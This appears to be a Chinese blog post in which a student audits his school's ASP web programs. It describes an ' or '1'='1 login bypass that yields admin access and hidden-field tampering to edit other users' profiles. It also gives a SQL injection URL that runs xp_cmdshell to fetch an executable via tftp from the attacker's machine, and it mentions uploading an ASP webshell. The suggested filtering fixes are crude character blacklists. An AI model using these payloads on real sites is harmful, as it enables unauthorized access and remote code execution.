|
導讀網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據... 網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。 我自從在學校維護學生會網站以后,就有了不小的權限,我只要上傳一個“海陽頂端網ASP木馬”就可以任意修改任何web頁面了,因為學校里所有的站點都放在http://www.nothing.com/里面,不過我可不敢這樣做,也不會這樣做。最近學習ASP挺上癮,就看看學校自己寫的ASP程序有什么隱患吧。、 問題一 除了前臺只有少量的ASP文件,就是用戶注冊(是學校的人才能注冊)、登陸、忘記密碼、個人信息修改這幾個ASP文件,先看看忘記密碼,lostpass.asp是一個提交頁面,沒有任何ASP語句,看看<form>里目標文件是lostpass1.asp,再查看原代碼,沒有發現問題(是我的水平有限),再看下一個lostpass2.asp,呵呵,發現了一句有毛病的語句: sql="select pwd,answer from [member] where userID='"&userID&"' and answer='"&answer&"'" 這么低級的錯誤也會犯,此時,您只要根據sql構造一個特殊的用戶名和密碼,如:' or '1'='1 這樣,程序將會變成這樣: sql="select pwd,answer from [member] where userID="&'or'1'=1&"and pass="&answer&" or是一個邏輯運算符,判斷兩個條件的時候,只要其中一個條件成立,那么等式將會成立,而在語言中,是以1來代表真的(成立),那么在這行語句中,原語句的"and"驗證將不再繼續,而因為"1=1"和"or"令語句返回為真值。這樣的話我們從一開始就可以提交' or '1'='1這個來饒過驗證了,不管我們在什么文本框我們都提交' or '1'='1這個都能順利到達下一個頁面,既然這樣,我們用' or '1'='1來作為用戶名和密碼登陸,會怎么樣呢?實驗證明登陸成功,因為顯示個人資料修改的鏈接了,果然正常顯示了個人資料,我發現真實姓名不可改,說明一定有什么ID之類的來識別用戶,于是直接查看網頁源代碼發現這么一行重要的東西: <input type="hidden" name="hiddenField" value="2001010001">原來是靠這個hiddenField來辨別用戶,那么如果我修改了value的值,那不是可以修改其他用戶了嗎?馬上拿我以前注冊的來試,把我的號碼2001010XXX替換上去,然后修改<form>里的相對連接,另存為htm文件,然后提交我需要修改的資料。再看看我的資料,果然被修改了,這么說如果我我知道任何一個用戶的hiddenField的值,就可以修改其資料,還不亂套?這個就擱在一邊……這個問題可以寫個函數禁止從外部提交數據得以解決。 不過這個漏洞有點局限性,如果想改某個用戶的資料一定要知道hiddenField的值,否則只能亂改。不過既然這個文件這樣了,我想后臺入口驗證程序應該也是這樣,我試著登陸,成功了,所有會員的資料盡收眼底,而且任意添加和修改管理員,做什么都可以啊。 這個問題的防范方法其實很簡單,處理輸入字符就可以了,原來我還以為用replace()函數呢,請教了一下勁風,得知用mid()函數可以很好的解決,加一個判斷就可以了: us=mid(input,i,1) if us=" " or us="'" or us="%" or us="<" or us=">" or us="&" then response.redirect "error_page.asp" response.end 幾行代碼就可以檢查用戶所輸入的字符了,當然,應該盡量多檢查一些特殊字符。這行代碼意思是檢查輸入的字符中,如果有空格、單引號、百分號和“<”、“>”就重定向到error_page.asp這個頁面。 雖然“海陽頂端網ASP木馬”具有黑掉學校服務器的能力,但我們還是要從學校的程序入手,否則就沒有意義了,“海陽頂端網ASP木馬”在這里只充當一個查看原代碼的角色。 問題二 通常一些資料調用文件都會存在一些SQL injection漏洞,比如show.asp、showarticle.asp、shownews.asp、showuser.asp等等,因為這些文件很容易忽略檢查變量,我看到一個shownews.asp文件。馬上打開,其原代碼如下(由于此文件太大,限于篇幅,我去掉了很多無關的HTML代碼): <% option explicit %> <!--#include file="conn.asp"--> <% dim sql,rs,rsc,thedate dim reviewable,aboutnews set rs=server.createobject("adodb.recordset") '查找顯示相關新聞數目及是否開放評論權限 rs.open "select * from news_parameter where parameterid=1",conn,1,1 if not rs.bof and not rs.eof then aboutnews=rs("aboutnews") if rs("reviewable")=1 then reviewable=1 else reviewable=0 end if else aboutnews=5 reviewable=1 end if rs.close set rs=nothing set rs=server.createobject("adodb.recordset") sql="update news set hits=hits where newsid=" & cstr(request("newsid")) conn.execute sql if session("purview")="" then rs.open "select * from news where newsid=" & cstr(request("newsid")) & " and audit=1",conn,1,1 else rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1 end if if err.number <> 0 then response.write "數據庫出錯" else if rs.bof and rs.eof then rs.close response.write "該新聞不存在或未經過審核" else %> <html> <head> <LINK href="function/css.css" rel=stylesheet type=text/css> <title><%=rs("topic")%></title> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> </head> <body bgcolor="#FFFFFF" text="#000000" topmargin=0 leftmargin=0 rightmargin=0> <table width="92%" border="0" cellspacing="0" cellpadding="0" align="center"> <tr> <td height="36" valign="middle"> <div align="center"><br><font size=3><b><%=rs("topic")%></b></font><hr size=0 width=100%></div> </td> </tr> <tr> <td> <div align="center"><%=rs("ntime")%> <% if trim(rs("nfrom"))<>"" then response.write "文章來源:" & trim(rs("nfrom")) end if %> <% if trim(rs("writer"))<>"" then response.write "作者:" & trim(rs("writer")) end if %> 瀏覽次數:<%=rs("hits")%><hr size=0 width=100%></div> </td> </tr> <tr> <td valign="top"> <% dim content content=rs("content") content=replace(content,"../../../","../news/") response.write content %> </td> </tr> <tr> <td valign="top"><br><br><br><b>---------- 相 關 新 聞 ----------</b><br> <% set rsc=server.createobject("adodb.recordset") if session("purview")="" then rsc.open "select top " & aboutnews & " * from news where keys like '%" & trim(rs("keys")) & "%' and newsid<>" & cstr(rs("newsid")) & " and audit=1 order by ntime DESC",conn,1,1 else rsc.open "select top " & aboutnews & " * from news where keys like '%" & trim(rs("keys")) & "%' and newsid<>" & cstr(rs("newsid")) & " order by ntime DESC",conn,1,1 end if if rsc.bof and rsc.eof then response.write "暫時沒有相關新聞" else response.write "<ul type=circle>" do while not rsc.eof response.write "<li>" thedate="(" & cstr(year(rsc("ntime"))) & "-" & cstr(month(rsc("ntime"))) & "-" & cstr(day(rsc("ntime"))) & ")" response.write "<a href='shownews.asp?newsid=" & cstr(rsc("newsid")) & "' target=_blank>" & trim(rsc("topic")) & "</a><font color='#6365CE' size='1'>" & thedate & "</font>" if month(cdate(trim(rs("ntime"))))=month(now()) and clng(day(cdate(trim(rs("ntime"))))+1)>=clng(day(now())) then response.write "<img src=image/news.gif><br>" end if rsc.movenext loop end if rsc.close set rsc=nothing %> </ul></td> </tr> </table> <!--#include file="function/copyright.inc"--> </body> </html> <% end if end if%> <!--#include file="function/DBclose.asp"--> 大家看到了嗎?文件根本沒有對任何變量做任何檢查,所以這個文件怎么利用都不過份,呵呵,看到這一句, rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1 由于程序根本沒有對任何變量做任何檢查。我們就可以可以直接構造 newsid 發動sql injection攻擊,我們提交這樣的代碼就可以以連接這個SQL數據庫的用戶所擁有的權限執行系統命令。 http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';-- 針對這個文件的解決辦法就是用replace函數過濾,看看下面的代碼: replace(str,"'","''") replace(str,"'","") 這兩行的意思就是把單引號替換為雙引號和空格。 我們學校服務器的系統漏洞已經找不出什么東西了,但是由于Web程序的問題,導致服務器被控制,學校的技術人員怎么想呢?文章雖短,但問題已經說明很清楚了。 看來Web程序的問題實在不可忽視。Web程序安全的重點就是對字符檢查——檢查——再檢查。 本人水平實在有限,寫不出什么高深技術的文章,在這里獻丑了。 網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!